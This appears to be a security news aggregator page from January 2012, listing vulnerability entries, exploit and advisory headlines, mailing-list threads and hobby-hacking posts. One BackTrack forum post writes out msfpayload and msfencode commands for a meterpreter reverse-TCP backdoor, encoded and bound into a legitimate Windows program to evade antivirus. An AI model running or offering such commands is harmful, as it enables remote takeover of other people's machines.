jetlib.sec » January 27, 2012

Feeds

118791 items (0 unread) in 27 feeds

• 1337day (was: Inj3ct0r, 1337db)
• OSVDB Vulnerabilities
• Exploit-DB
• SecurityFocus Vulnerabilities
• Bugtraq
• Full Disclosure
• XSSed
• Packet Storm Security Headlines
• Packet Storm Security Advisories
• Packet Storm Security Exploits
• Packet Storm Security Recent Files
• Packet Storm Security Tools
• Packet Storm Security Misc. Files
• Sophos security news
• Sophos product advisories
• Penetration Testing
• SecuriTeam
• BackTrack Linux Forums
• Threatpost
• SecDocs
• carnal0wnage.attackresearch.com
• Carnal0wnage
• Kernel Fun
• Darknet
• The Exploitant
• Hack a Day
• Wirevolution

• January 27, 2012
• 23:00

  IBM SPSS SamplePower VsVIEW6 ActiveX (VsVIEW6.ocx) Multiple Method Remote Code Execution

   » ‎ OSVDB Vulnerabilities
  IBM SPSS SamplePower VsVIEW6 ActiveX (VsVIEW6.ocx) Multiple Method Remote Code Execution

  Tags:   

• 23:00

  Postfix Admin backup.php Unspecified SQL Injection

   » ‎ OSVDB Vulnerabilities
  Postfix Admin backup.php Unspecified SQL Injection

  Tags:   

• 23:00

  Postfix Admin functions.inc.php pacrypt() Function Unspecified SQL Injection

   » ‎ OSVDB Vulnerabilities
  Postfix Admin functions.inc.php pacrypt() Function Unspecified SQL Injection

  Tags:   

• 23:00

  Postfix Admin create-domain.php Unspecified SQL Injection

   » ‎ OSVDB Vulnerabilities
  Postfix Admin create-domain.php Unspecified SQL Injection

  Tags:   

• 23:00

  Postfix Admin Unspecified XSS

   » ‎ OSVDB Vulnerabilities
  Postfix Admin Unspecified XSS

  Tags:   

• 23:00

  Postfix Admin edit-alias.php Unspecified XSS

   » ‎ OSVDB Vulnerabilities
  Postfix Admin edit-alias.php Unspecified XSS

  Tags:   

• 23:00

  Postfix Admin create-alias.php Unspecified XSS

   » ‎ OSVDB Vulnerabilities
  Postfix Admin create-alias.php Unspecified XSS

  Tags:   

• 23:00

  Postfix Admin create-domain.php Unspecified XSS

   » ‎ OSVDB Vulnerabilities
  Postfix Admin create-domain.php Unspecified XSS

  Tags:   

• 23:00

  Postfix Admin templates/edit-vacation.php domain Parameter XSS

   » ‎ OSVDB Vulnerabilities
  Postfix Admin templates/edit-vacation.php domain Parameter XSS

  Tags:   

• 23:00

  Postfix Admin templates/menu.php domain Parameter XSS

   » ‎ OSVDB Vulnerabilities
  Postfix Admin templates/menu.php domain Parameter XSS

  Tags:   

• 22:00

  Apache HTTP Server Status Code 400 Default Error Response httpOnly Cookie Disclosure

   » ‎ OSVDB Vulnerabilities
  Apache HTTP Server Status Code 400 Default Error Response httpOnly Cookie Disclosure

  Tags:   

• 22:00

  Apache HTTP Server Threaded MPM %{cookiename}C Log Format String Cookie Handling Remote DoS

   » ‎ OSVDB Vulnerabilities
  Apache HTTP Server Threaded MPM %{cookiename}C Log Format String Cookie Handling Remote DoS

  Tags:   

• 21:52

  [Paper] Developments in Cisco IOS Forensics

   » ‎ SecDocs
  Authors: Felix 'FX' Lindner
  Tags: Cisco
  Event: Black Hat EU 2008
  

  Tags:  authors forensics paper felix cisco-event cisco-ios black-hat lindner  

• 21:52

  [Slides] Biologger - A Biometric Keylogger

   » ‎ SecDocs
  Authors: Matthew Lewis
  Tags: biometric
  Event: Black Hat EU 2008
  

  Tags:  biologger keylogger biometric matthew-lewis-tags matthew-lewis black-hat slides  

• 21:52

  [Paper] Biologger - A Biometric Keylogger

   » ‎ SecDocs
  Authors: Matthew Lewis
  Tags: biometric
  Event: Black Hat EU 2008
  

  Tags:  biologger biometric paper matthew-lewis-tags matthew-lewis black-hat  

• 21:52

  [Slides] Intercepting Mobile Phone/GSM Traffic

   » ‎ SecDocs
  Authors: David Hulton
  Tags: GSM
  Event: Black Hat EU 2008
  

  Tags:  david-hulton black-hat slides  

• 21:52

  [Paper] Intercepting Mobile Phone/GSM Traffic

   » ‎ SecDocs
  Authors: David Hulton
  Tags: GSM
  Event: Black Hat EU 2008
  

  Tags:  mobile gsm paper david-hulton black-hat mobile-phone  

• 21:52

  [Slides] 0-Day Patch -Exposing Vendors (In)Security Performance

   » ‎ SecDocs
  Authors: Bernard Tellenbach Stefan Frei
  Tags: vulnerability
  Event: Black Hat EU 2008
  

  Tags:  day exposing patch bernard-tellenbach stefan-frei black-hat vulnerability slides  

• 20:44

  Motigo Forums/Calendar/Guestbook Cross Site Scripting

   » ‎ Packet Storm Security Exploits
  Motigo Forums/Calendar/Guestbook suffers from a cross site scripting vulnerability.

  Tags:  Forums motigo calendar vulnerability  

• 19:56

  [ GLSA 201201-17 ] Chromium: Multiple vulnerabilities

   » ‎ Full Disclosure

  Posted by Tim Sammut on Jan 27

  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  Gentoo Linux Security Advisory GLSA 201201-17
  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  http://security.gentoo.org/
  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  
  Severity: Normal
  Title: Chromium: Multiple vulnerabilities
  Date: January 28,...
  

  Tags:   

• 19:28

  Windows not opening backdoor exe

   » ‎ BackTrack Linux Forums
  First time in the forums, so, if necessary, kindly direct me to the right place if this isn't where I should post this question.
  
  So I'm trying to make an executable backdoor file that I can open on another computer in my network so that I can use meterpreter. I did that fine with this:
  
  Code: msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=4445 x > /root/backdoor.exe I get the exe, open it on the target computer and it works fine. My problem however is that basically any AV software will pick this up. So I tried encoding it:
  
  Code: msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=4444 R| msfencode -c 5 -e x86/shikata_ga_nai -x > /root/EncodedBackdoor.exe Ok, now I have an encoded executable, I get it to the target computer, open it, and get a message saying that "the file cannot be opened on windows".
  
  I've also tried using the same code (more or less) to hide the backdoor inside of a Microsoft executable to use its signature to get past the AV, but I still have the same problem. Here's what I use to do that if it helps any:
  
  Code: msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=4444 R| msfencode -c 5 -e x86/shikata_ga_nai -x > /root/windows-software.exe -t exe > /root/newtest.exe The "windows-software.exe" being a legit windows program.
  
  Suggestions on how to make windows recognize these encoded backdoors as files it can open is what I'm looking for.

  Tags:   

• 19:02

  Re: when did piracy/theft become expression of freedom

   » ‎ Full Disclosure

  Posted by Zach C. on Jan 27

  the
  
  is a
  
  yourself
  
  you're
  
  *not*
  
  "first sale
  
  If you buy an album used, the seller generally loses possession of it, you
  gain possession of it at a reduced cost, and the original purchase still
  gave the original seller and producer value. Value has still been
  exchanged, assuming no literal theft was involved to make the whole thing
  criminal anyway. If you make a copy, you're pretty much creating (or, if
  you prefer,...
  

  Tags:   

• 19:02

  Re: when did piracy/theft become expression of freedom

   » ‎ Full Disclosure

  Posted by Zach C. on Jan 27

  the
  
  is a
  
  yourself
  
  you're
  
  *not*
  
  "first sale
  
  If you buy an album used, the seller generally loses possession of it, you
  gain possession of it at a reduced cost, and the original purchase still
  gave the original seller and producer value. Value has still been
  exchanged, assuming no literal theft was involved to make the whole thing
  criminal anyway. If you make a copy, you're pretty much creating (or, if
  you prefer,...
  

  Tags:   

• 18:16

  Re: when did piracy/theft become expression of freedom

   » ‎ Full Disclosure

  Posted by Thor (Hammer of God) on Jan 27

  These arguments do more harm than good. You can't base property law on what people may not have done (of course there
  are "not paid your taxes" etc - let's not get tied down with that). I'm actually surprised you made that comment. I
  have a product that I own the rights to. If you don't feel like paying full price, then don't buy it. You go down the
  street and buy a similar product for less money. That...
  

  Tags:   

• 18:00

  RSA enVision Environment Variable Web System Setup Information Disclosure

   » ‎ OSVDB Vulnerabilities
  RSA enVision Environment Variable Web System Setup Information Disclosure

  Tags:   

• 18:00

  EMC NetWorker Server Unspecified Remote Overflow

   » ‎ OSVDB Vulnerabilities
  EMC NetWorker Server Unspecified Remote Overflow

  Tags:   

• 17:18

  Newbie Triple Boot [Ubuntu/Win7 & BT5 R1] question

   » ‎ BackTrack Linux Forums
  Hey all~
  This is my first post, so please be kind. I'm fairly well versed in Linux [I've been using Ubuntu since Dapper Drake] and I've searched a lot for a clear answer to this question on line w/no real luck.
  
  I have a laptop that runs Ubuntu 11.10 [tat's the newest] and dual boots with Windows 7 Ultimate 64bit. I would like to install BT5 R1 along side them [so I could triple boot] but my question is this, if I install BT5 R1 now, will it mess up the boot loader ? [or does it also use Grub "2"]
  
  Oh I also installed BT5 R1 in a virtual machine, but it didn't work out well, so it's either install to my hard drive or run it live, but running live, I can't install like Rainbow Tables or any extra dictionaries .... so I'd prefer to install it.
  
  After I have a good answer, I may have another question but won't know if I need to ask until it's installed lol
  Thanks in advance everyone :]
  ~gambit

  Tags:   

• 17:08

  Anonymous' Topiary Gets A Plea Date

   » ‎ Packet Storm Security Headlines
  Anonymous' Topiary Gets A Plea Date

  Tags:  topiary anonymous plea  

• 17:08

  Kelios Botnet Suspect Denies Microsoft Accusations

   » ‎ Packet Storm Security Headlines
  Kelios Botnet Suspect Denies Microsoft Accusations

  Tags:  botnet suspect kelios accusations microsoft  

• 17:07

  Students Busted For Hacking Computers, Changing Grades

   » ‎ Packet Storm Security Headlines
  Students Busted For Hacking Computers, Changing Grades

  Tags:  grades busted hacking hacking-computers  

• 17:00

  VR GPub Editor User Addition CSRF

   » ‎ OSVDB Vulnerabilities
  VR GPub Editor User Addition CSRF

  Tags:   

• 17:00

  Syneto UTM Script Insertion CSRF

   » ‎ OSVDB Vulnerabilities
  Syneto UTM Script Insertion CSRF

  Tags:   

• 17:00

  IBM solidDB SELECT Statement rownum Condition Query Parsing Remote DoS

   » ‎ OSVDB Vulnerabilities
  IBM solidDB SELECT Statement rownum Condition Query Parsing Remote DoS

  Tags:   

• 16:49

  Gitorious Remote Command Execution

   » ‎ Packet Storm Security Exploits
  Gitorious versions prior to 2.1.1 suffer from a remote command execution vulnerability.

  Tags:  execution gitorious command command-execution vulnerability  

• 16:49

  Gitorious Remote Command Execution

   » ‎ Packet Storm Security Recent Files
  Gitorious versions prior to 2.1.1 suffer from a remote command execution vulnerability.

  Tags:  execution gitorious command command-execution vulnerability  

• 16:49

  Gitorious Remote Command Execution

   » ‎ Packet Storm Security Misc. Files
  Gitorious versions prior to 2.1.1 suffer from a remote command execution vulnerability.

  Tags:  execution gitorious command command-execution vulnerability  

• 16:46

  HP Diagnostics Server magentservice.exe Overflow

   » ‎ Packet Storm Security Exploits
  This Metasploit module exploits a stack buffer overflow in HP Diagnostics Server magentservice.exe service. By sending a specially crafted packet, an attacker may be able to execute arbitrary code. Originally found and posted by AbdulAziz Harir via ZDI.

  Tags:  exe server magentservice stack-buffer buffer-overflow harir  

• 16:46

  HP Diagnostics Server magentservice.exe Overflow

   » ‎ Packet Storm Security Recent Files
  This Metasploit module exploits a stack buffer overflow in HP Diagnostics Server magentservice.exe service. By sending a specially crafted packet, an attacker may be able to execute arbitrary code. Originally found and posted by AbdulAziz Harir via ZDI.

  Tags:  exe server magentservice stack-buffer buffer-overflow harir  

• 16:46

  HP Diagnostics Server magentservice.exe Overflow

   » ‎ Packet Storm Security Misc. Files
  This Metasploit module exploits a stack buffer overflow in HP Diagnostics Server magentservice.exe service. By sending a specially crafted packet, an attacker may be able to execute arbitrary code. Originally found and posted by AbdulAziz Harir via ZDI.

  Tags:  stack-buffer buffer-overflow harir  

• 16:45

  MS12-004 midiOutPlayNextPolyEvent Heap Overflow

   » ‎ Packet Storm Security Exploits
  This Metasploit module exploits a heap overflow vulnerability in the Windows Multimedia Library (winmm.dll). The vulnerability occurs when parsing specially crafted MIDI files. Remote code execution can be achieved by using Windows Media Player's ActiveX control. Exploitation is done by supplying a specially crafted MIDI file with specific events, causing the offset calculation being higher than how much is available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing us to either "inc al" or "dec al" a byte. This can be used to corrupt an array (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects, which leverages remote code execution under the context of the user. At this time, for IE 8 target, JRE (Java Runtime Environment) is required to bypass DEP (Data Execution Prevention). Note: Based on our testing, the vulnerability does not seem to trigger when the victim machine is operated via rdesktop.

  Tags:  execution vulnerability heap java-runtime-environment overflow-vulnerability data-execution-prevention  

• 16:45

  MS12-004 midiOutPlayNextPolyEvent Heap Overflow

   » ‎ Packet Storm Security Recent Files
  This Metasploit module exploits a heap overflow vulnerability in the Windows Multimedia Library (winmm.dll). The vulnerability occurs when parsing specially crafted MIDI files. Remote code execution can be achieved by using Windows Media Player's ActiveX control. Exploitation is done by supplying a specially crafted MIDI file with specific events, causing the offset calculation being higher than how much is available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing us to either "inc al" or "dec al" a byte. This can be used to corrupt an array (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects, which leverages remote code execution under the context of the user. At this time, for IE 8 target, JRE (Java Runtime Environment) is required to bypass DEP (Data Execution Prevention). Note: Based on our testing, the vulnerability does not seem to trigger when the victim machine is operated via rdesktop.

  Tags:  execution vulnerability heap java-runtime-environment overflow-vulnerability data-execution-prevention  

• 16:45

  MS12-004 midiOutPlayNextPolyEvent Heap Overflow

   » ‎ Packet Storm Security Misc. Files
  This Metasploit module exploits a heap overflow vulnerability in the Windows Multimedia Library (winmm.dll). The vulnerability occurs when parsing specially crafted MIDI files. Remote code execution can be achieved by using Windows Media Player's ActiveX control. Exploitation is done by supplying a specially crafted MIDI file with specific events, causing the offset calculation being higher than how much is available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing us to either "inc al" or "dec al" a byte. This can be used to corrupt an array (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects, which leverages remote code execution under the context of the user. At this time, for IE 8 target, JRE (Java Runtime Environment) is required to bypass DEP (Data Execution Prevention). Note: Based on our testing, the vulnerability does not seem to trigger when the victim machine is operated via rdesktop.

  Tags:  execution vulnerability heap java-runtime-environment overflow-vulnerability data-execution-prevention  

• 16:43

  AWS Hash Collisions

   » ‎ Packet Storm Security Advisories
  AdaCore Security Advisory - All AWS releases and wavefronts prior to 2012-01-21 suffer from hash collision vulnerabilities.

  Tags:  collisions aws hash hash-collision security-advisory  

• 16:43

  AWS Hash Collisions

   » ‎ Packet Storm Security Recent Files
  AdaCore Security Advisory - All AWS releases and wavefronts prior to 2012-01-21 suffer from hash collision vulnerabilities.

  Tags:  collisions aws hash hash-collision security-advisory  

• 16:43

  AWS Hash Collisions

   » ‎ Packet Storm Security Misc. Files
  AdaCore Security Advisory - All AWS releases and wavefronts prior to 2012-01-21 suffer from hash collision vulnerabilities.

  Tags:  collisions aws hash hash-collision security-advisory  

• 16:41

  Studio Manolibera Listarivisteuk SQL Injection

   » ‎ Packet Storm Security Exploits
  Studio Manolibera's listarivisteuk.php suffers from a remote SQL injection vulnerability.

  Tags:  manolibera listarivisteuk studio sql-injection vulnerability  

• 16:41

  Studio Manolibera Listarivisteuk SQL Injection

   » ‎ Packet Storm Security Recent Files
  Studio Manolibera's listarivisteuk.php suffers from a remote SQL injection vulnerability.

  Tags:  manolibera listarivisteuk studio sql-injection vulnerability  

• 16:41

  Studio Manolibera Listarivisteuk SQL Injection

   » ‎ Packet Storm Security Misc. Files
  Studio Manolibera's listarivisteuk.php suffers from a remote SQL injection vulnerability.

  Tags:  manolibera listarivisteuk studio sql-injection vulnerability  

• 16:39

  Dark D0rk3r 0.5

   » ‎ Packet Storm Security Recent Files
  Dark D0rk3r is a python script that performs dork searching and searches for local file inclusion and SQL injection errors.

  Tags:  script dark python python-script sql-injection inclusion  

• 16:39

  Dark D0rk3r 0.5

   » ‎ Packet Storm Security Tools
  Dark D0rk3r is a python script that performs dork searching and searches for local file inclusion and SQL injection errors.

  Tags:  script dark python python-script sql-injection inclusion  

• 16:39

  Dark D0rk3r 0.5

   » ‎ Packet Storm Security Misc. Files
  Dark D0rk3r is a python script that performs dork searching and searches for local file inclusion and SQL injection errors.

  Tags:  script dark python python-script sql-injection inclusion  

• 16:33

  IBBY SQL Injection

   » ‎ Packet Storm Security Exploits
  IBBY's nouvelles.php suffers from a remote SQL injection vulnerability.

  Tags:  injection vulnerability php ibby-sql ibby sql-injection  

• 16:33

  IBBY SQL Injection

   » ‎ Packet Storm Security Recent Files
  IBBY's nouvelles.php suffers from a remote SQL injection vulnerability.

  Tags:  injection vulnerability php ibby-sql ibby sql-injection  

• 16:33

  IBBY SQL Injection

   » ‎ Packet Storm Security Misc. Files
  IBBY's nouvelles.php suffers from a remote SQL injection vulnerability.

  Tags:  injection vulnerability php ibby-sql ibby sql-injection  

• 16:06

  Re: when did piracy/theft become expression of freedom

   » ‎ Full Disclosure

  Posted by Valdis . Kletnieks on Jan 27

  On Fri, 27 Jan 2012 18:06:28 GMT, Michael Schmidt said:
  
  You might want to go read "Courtney Love Does The Math", and then ask yourself
  the following:
  
  1) You can make a case that if you copy an album intead of buying it, you're
  depriving somebody of profits. But what if it's an album that you would *not*
  have bought at full price anyhow? Or one that you bought used (see "first sale
  principle")?
  
  2) Who gets those...
  

  Tags:   

• 16:01

  Bugtraq: [HITB-Announce] Reminder: HITB2012AMS Call For Papers Closing Soon

   » ‎ SecurityFocus Vulnerabilities
  [HITB-Announce] Reminder: HITB2012AMS Call For Papers Closing Soon

  Tags:  hitb reminder hitb-announce  

• 16:01

  Bugtraq: [SECURITY] [DSA 2394-1] libxml2 security update

   » ‎ SecurityFocus Vulnerabilities
  [SECURITY] [DSA 2394-1] libxml2 security update

  Tags:  security dsa libxml libxml2  

• 16:01

  Bugtraq: [ GLSA 201201-15 ] ktsuss: Privilege escalation

   » ‎ SecurityFocus Vulnerabilities
  [ GLSA 201201-15 ] ktsuss: Privilege escalation

  Tags:  escalation glsa ktsuss privilege  

• 16:01

  Bugtraq: AdaCore Security Advisory SA-2012-L119-003 Hash collisions in AWS

   » ‎ SecurityFocus Vulnerabilities
  AdaCore Security Advisory SA-2012-L119-003 Hash collisions in AWS

  Tags:  advisory adacore security bugtraq security-advisory collisions  

• 16:01

  phplist admin/index.php Admin Account Addition CSRF

   » ‎ OSVDB Vulnerabilities
  phplist admin/index.php Admin Account Addition CSRF

  Tags:   

• 16:01

  phplist admin/index.php testtarget Parameter XSS

   » ‎ OSVDB Vulnerabilities
  phplist admin/index.php testtarget Parameter XSS

  Tags:   

• 16:01

  Google Chrome Tree Builder Remote Overflow

   » ‎ OSVDB Vulnerabilities
  Google Chrome Tree Builder Remote Overflow

  Tags:   

• 16:01

  Google Chrome Skia Unitialized Value Unspecified Remote DoS

   » ‎ OSVDB Vulnerabilities
  Google Chrome Skia Unitialized Value Unspecified Remote DoS

  Tags:   

• 16:01

  Google Chrome Use-after-free DOM Handling Unspecified Remote DoS

   » ‎ OSVDB Vulnerabilities
  Google Chrome Use-after-free DOM Handling Unspecified Remote DoS

  Tags:   

• 16:01

  Google Chrome Use-after-free DOM Selections Unspecified Remote DoS

   » ‎ OSVDB Vulnerabilities
  Google Chrome Use-after-free DOM Selections Unspecified Remote DoS

  Tags:   

• 16:01

  Google Chrome Use-after-free Safe Browsing Navigation Memory Corruption

   » ‎ OSVDB Vulnerabilities
  Google Chrome Use-after-free Safe Browsing Navigation Memory Corruption

  Tags:   

• 16:01

  Opera Framed Content Handling Same Origin Policy Bypass XSS Weakness

   » ‎ OSVDB Vulnerabilities
  Opera Framed Content Handling Same Origin Policy Bypass XSS Weakness

  Tags:   

• 16:01

  Opera JavaScript Event HTML Element Referencing Local File Enumeration

   » ‎ OSVDB Vulnerabilities
  Opera JavaScript Event HTML Element Referencing Local File Enumeration

  Tags:   

• 16:01

  SAP NetWeaver bcbadmSettings.jsp Multiple Parameter XSS

   » ‎ OSVDB Vulnerabilities
  SAP NetWeaver bcbadmSettings.jsp Multiple Parameter XSS

  Tags:   

• 15:42

  Kraken Payload Generator Beta 1.0

   » ‎ Packet Storm Security Recent Files
  Kraken Payload Generator is a bash script that makes use of msfpayload to generate various shellcode.

  Tags:  kraken generator payload beta bash-script shellcode  

• 15:42

  Kraken Payload Generator Beta 1.0

   » ‎ Packet Storm Security Misc. Files
  Kraken Payload Generator is a bash script that makes use of msfpayload to generate various shellcode.

  Tags:  kraken generator payload beta bash-script shellcode  

• 15:38

  Fortigate UTM WAF Appliance Cross Site Scripting

   » ‎ Packet Storm Security Advisories
  The Fortigate UTM WAF appliance suffers from persistent and reflective cross site scripting vulnerabilities.

  Tags:  waf fortigate utm cross-site-scripting  

• 15:38

  Fortigate UTM WAF Appliance Cross Site Scripting

   » ‎ Packet Storm Security Recent Files
  The Fortigate UTM WAF appliance suffers from persistent and reflective cross site scripting vulnerabilities.

  Tags:  waf fortigate utm cross-site-scripting  

• 15:38

  Fortigate UTM WAF Appliance Cross Site Scripting

   » ‎ Packet Storm Security Misc. Files
  The Fortigate UTM WAF appliance suffers from persistent and reflective cross site scripting vulnerabilities.

  Tags:  waf fortigate utm cross-site-scripting  

• 15:37

  Adobe Cross Site Scripting

   » ‎ Packet Storm Security Exploits
  Adobe's forgotten password flow suffers from a cross site scripting vulnerability.

  Tags:  cross adobe site vulnerability  

• 15:37

  Adobe Cross Site Scripting

   » ‎ Packet Storm Security Recent Files
  Adobe's forgotten password flow suffers from a cross site scripting vulnerability.

  Tags:  cross adobe site vulnerability  

• 15:37

  Adobe Cross Site Scripting

   » ‎ Packet Storm Security Misc. Files
  Adobe's forgotten password flow suffers from a cross site scripting vulnerability.

  Tags:  cross adobe site vulnerability  

• 15:35

  Gentoo Linux Security Advisory 201201-16

   » ‎ Packet Storm Security Advisories
  Gentoo Linux Security Advisory 201201-16 - A debugging functionality in the X.Org X Server that is bound to a hotkey by default can be used by local attackers to circumvent screen locking utilities. Versions less than 2.4.1-r3 are affected.

  Tags:  gentoo security linux x.org x-server gentoo-linux-security hotkey security-advisory  

• 15:35

  Gentoo Linux Security Advisory 201201-16

   » ‎ Packet Storm Security Recent Files
  Gentoo Linux Security Advisory 201201-16 - A debugging functionality in the X.Org X Server that is bound to a hotkey by default can be used by local attackers to circumvent screen locking utilities. Versions less than 2.4.1-r3 are affected.

  Tags:  gentoo security linux x.org x-server gentoo-linux-security hotkey security-advisory  

• 15:35

  Gentoo Linux Security Advisory 201201-16

   » ‎ Packet Storm Security Misc. Files
  Gentoo Linux Security Advisory 201201-16 - A debugging functionality in the X.Org X Server that is bound to a hotkey by default can be used by local attackers to circumvent screen locking utilities. Versions less than 2.4.1-r3 are affected.

  Tags:  gentoo security linux x.org x-server gentoo-linux-security hotkey security-advisory  

• 15:35

  Debian Security Advisory 2396-1

   » ‎ Packet Storm Security Advisories
  Debian Linux Security Advisory 2396-1 - Nicolae Mogoraenu discovered a heap overflow in the emulated e1000e network interface card of KVM, a solution for full virtualization on x86 hardware, which could result in denial of service or privilege escalation.

  Tags:  advisory debian security network-interface-card denial-of-service linux-security  

• 15:35

  Debian Security Advisory 2396-1

   » ‎ Packet Storm Security Recent Files
  Debian Linux Security Advisory 2396-1 - Nicolae Mogoraenu discovered a heap overflow in the emulated e1000e network interface card of KVM, a solution for full virtualization on x86 hardware, which could result in denial of service or privilege escalation.

  Tags:  advisory debian security network-interface-card denial-of-service linux-security  

• 15:35

  Debian Security Advisory 2396-1

   » ‎ Packet Storm Security Misc. Files
  Debian Linux Security Advisory 2396-1 - Nicolae Mogoraenu discovered a heap overflow in the emulated e1000e network interface card of KVM, a solution for full virtualization on x86 hardware, which could result in denial of service or privilege escalation.

  Tags:  advisory debian security network-interface-card denial-of-service linux-security  

• 15:34

  Debian Security Advisory 2395-1

   » ‎ Packet Storm Security Advisories
  Debian Linux Security Advisory 2395-1 - Laurent Butti discovered a buffer underflow in the LANalyzer dissector of the Wireshark network traffic analyzer, which could lead to the execution of arbitrary code.

  Tags:  advisory debian security laurent-butti network-traffic-analyzer butti linux-security  

• 15:34

  Debian Security Advisory 2395-1

   » ‎ Packet Storm Security Recent Files
  Debian Linux Security Advisory 2395-1 - Laurent Butti discovered a buffer underflow in the LANalyzer dissector of the Wireshark network traffic analyzer, which could lead to the execution of arbitrary code.

  Tags:  advisory debian security laurent-butti network-traffic-analyzer butti linux-security  

• 15:34

  Debian Security Advisory 2395-1

   » ‎ Packet Storm Security Misc. Files
  Debian Linux Security Advisory 2395-1 - Laurent Butti discovered a buffer underflow in the LANalyzer dissector of the Wireshark network traffic analyzer, which could lead to the execution of arbitrary code.

  Tags:  advisory debian security laurent-butti network-traffic-analyzer butti linux-security  

• 15:33

  Interactive Web Design SQL Injection

   » ‎ Packet Storm Security Exploits
  Interactive Web Design suffers from a remote SQL injection vulnerability.

  Tags:  design web interactive interactive-web-design vulnerability  

• 15:33

  Interactive Web Design SQL Injection

   » ‎ Packet Storm Security Recent Files
  Interactive Web Design suffers from a remote SQL injection vulnerability.

  Tags:  design web interactive interactive-web-design vulnerability  

• 15:33

  Interactive Web Design SQL Injection

   » ‎ Packet Storm Security Misc. Files
  Interactive Web Design suffers from a remote SQL injection vulnerability.

  Tags:  design web interactive interactive-web-design vulnerability  

• 15:33

  Global Media Service SQL Injection

   » ‎ Packet Storm Security Exploits
  Global Media Service suffers from a remote SQL injection vulnerability.

  Tags:  global media service global-media vulnerability  

• 15:33

  Global Media Service SQL Injection

   » ‎ Packet Storm Security Recent Files
  Global Media Service suffers from a remote SQL injection vulnerability.

  Tags:  global media service global-media vulnerability  

• 15:33

  Global Media Service SQL Injection

   » ‎ Packet Storm Security Misc. Files
  Global Media Service suffers from a remote SQL injection vulnerability.

  Tags:  global media service global-media vulnerability  

• 15:29

  Followup: Troll physics solved

   » ‎ Hack a Day
  A month ago, we saw a marvelous demonstration of troll physics from YouTube user [Fredzislaw100]. In his video, we saw a circuit of three switches and three LEDs wired in series and but not acting like the should. A lot of the comments for this post elicited reasonable explanations like modifying the battery or pure camera wizardry via After Effects. Thankfully, [Alan] stepped [...]

  Tags:  followup physics troll alan wizardry leds explanations led hacks  

• 14:29

  DSLR performance measured with audio editing software

   » ‎ Hack a Day
  [Jaroslav's] camera didn’t have a feature to measure the speed of its response in different modes so he figured out his own method. Using the microphone on his webcam he recorded the sound made by the mirror and shutter movements, then used Audacity to analyze the camera’s performance. When you get right down to it, [...]

  Tags:  camera performance dslr jaroslav audio-editing-software audacity shutter digital cameras hacks  

• 14:00

  [ GLSA 201201-16 ] X.Org X Server/X Keyboard Configuration Database: Screen lock bypass

   » ‎ Full Disclosure

  Posted by Alex Legler on Jan 27

  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  Gentoo Linux Security Advisory GLSA 201201-16
  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  http://security.gentoo.org/
  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  
  Severity: Normal
  Title: X.Org X Server/X Keyboard Configuration Database: Screen...
  

  Tags:   

• 14:00

  [remote exploits] - HP Diagnostics Server magentservice.exe Overflow

   » ‎ 1337day (was: Inj3ct0r, 1337db)
  [remote exploits] - HP Diagnostics Server magentservice.exe Overflow

  Tags:  exe server magentservice overflow exploits  

• 14:00

  [webapps / 0day] - vBSEO

   » ‎ 1337day (was: Inj3ct0r, 1337db)
  [webapps / 0day] - vBSEO

  Tags:  vbseo day  

• 14:00

  [linux/x86] - linux/x86 - port bind shellcode 84 bytes

   » ‎ 1337day (was: Inj3ct0r, 1337db)
  [linux/x86] - linux/x86 - port bind shellcode 84 bytes

  Tags:  bind linux port x86-linux  

• 14:00

  [linux/x86] - linux/x86 - netcat : connect back port 8081 - 77 bytes

   » ‎ 1337day (was: Inj3ct0r, 1337db)
  [linux/x86] - linux/x86 - netcat : connect back port 8081 - 77 bytes

  Tags:  linux port netcat x86-linux  

• 14:00

  [webapps / 0day] - VebTek CMS LFD Vulnerability

   » ‎ 1337day (was: Inj3ct0r, 1337db)
  [webapps / 0day] - VebTek CMS LFD Vulnerability

  Tags:  lfd webapps vulnerability  

• 14:00

  [webapps / 0day] - Def-Blog v1.0.3 sql injection vulnerability

   » ‎ 1337day (was: Inj3ct0r, 1337db)
  [webapps / 0day] - Def-Blog v1.0.3 sql injection vulnerability

  Tags:  blog def day vulnerability  

• 13:43

  [Slides] URI Use and Abuse

   » ‎ SecDocs
  Authors: Billy Rios Nathan McFeters Rob Carter
  Tags: URI
  Event: Black Hat EU 2008
  

  Tags:  abuse authors black nathan-mcfeters rob-carter-tags uri-event billy-rios uri-use rob-carter black-hat slides  

• 13:43

  [Paper] URI Use and Abuse

   » ‎ SecDocs
  Authors: Billy Rios Nathan McFeters Rob Carter
  Tags: URI
  Event: Black Hat EU 2008
  

  Tags:  abuse authors paper nathan-mcfeters rob-carter-tags uri-event billy-rios uri-use rob-carter black-hat  

• 13:29

  [Jackson Pollock] is now a robot

   » ‎ Hack a Day
  Even though abstract expressionism died out several decades ago, robots are still chugging along dripping nihilistic pigment onto a cold, uncaring canvas. [Liat] and [Assaf] created a robot named The Originals Factory to create paintings in the style of abstract expressionism, a style of painting that is arguably best represented by [Jackson Pollock] and his ‘drip paintings.’ [...]

  Tags:  pollock robot expressionism jackson drip-paintings abstract-expressionism jackson-pollock robots hacks  

• 10:53

  [SECURITY] [DSA 2396-1] qemu-kvm security update

   » ‎ Full Disclosure

  Posted by Moritz Muehlenhoff on Jan 27

  -------------------------------------------------------------------------
  Debian Security Advisory DSA-2396-1 security () debian org
  http://www.debian.org/security/ Moritz Muehlenhoff
  January 27, 2012 http://www.debian.org/security/faq
  -------------------------------------------------------------------------
  
  Package : qemu-kvm
  Vulnerability : buffer underflow
  Problem type :...
  

  Tags:   

• 10:37

  Re: when did piracy/theft become expression of freedom

   » ‎ Full Disclosure

  Posted by Laurelai on Jan 27

  Yeah and the US is becoming a police state, so using US law as examples
  of morality is pretty shaky ground.
  

  Tags:   

